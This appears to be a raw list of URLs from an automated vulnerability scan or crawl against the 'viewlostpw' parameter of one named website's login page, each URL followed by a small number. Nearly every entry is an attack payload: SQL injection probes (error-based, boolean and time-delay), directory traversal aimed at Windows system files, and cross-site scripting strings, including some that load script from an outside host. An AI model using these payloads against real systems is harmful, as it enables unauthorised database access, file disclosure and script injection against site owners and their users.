http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=................windowswin.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1 0.0021 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%00' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND%2089=55 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND%2094=61 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20OR%2093=93%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20RLIKE%20(SELECT%20(CASE%20WHEN%20(41=16)%20THEN%201%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20RLIKE%20(SELECT%20(CASE%20WHEN%20(58=38)%20THEN%201%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20RLIKE%20(SELECT%20(CASE%20WHEN%20(69=69)%20THEN%201%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20RLIKE%20(SELECT%20(CASE%20WHEN%20(81=81)%20THEN%201%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%22%20AND%20%22yA%22=%225j 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%22)%20AND%2075=52%20AND%20(%22js%22=%22js 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25%22%29%20AND%2082%3D78%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25%27%29%20AND%2042%3D75%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25%27%29%20AND%2061%3D61%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25%27%29%20AND%2074%3D74%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25%27%29%20AND%2079%3D48%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20AND%2041=19%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20AND%2064=64%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20AND%2071=71%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20AND%2096=21%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0002 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(44=44)%20THEN%20'1'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(59=45)%20THEN%20'1'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(71=71)%20THEN%201%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(76=83)%20THEN%201%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%2527 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%2527%20AND%2054=54%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%2527%20AND%2059=47%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%5B%5D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%5C%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%5C' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1%bf%27 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1&&&&&&&&&&&&&&&&&&& 0.0002 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%20'4k'='4k 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%20'9r'='Sz 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%20'AG'%20LIKE%20'nC 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%20'Pi'='Pi 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%20'pR'='Ea 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%20'vN'%20LIKE%20'vN 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20OR%20'rw'='rw'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&viewlostpw=1'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 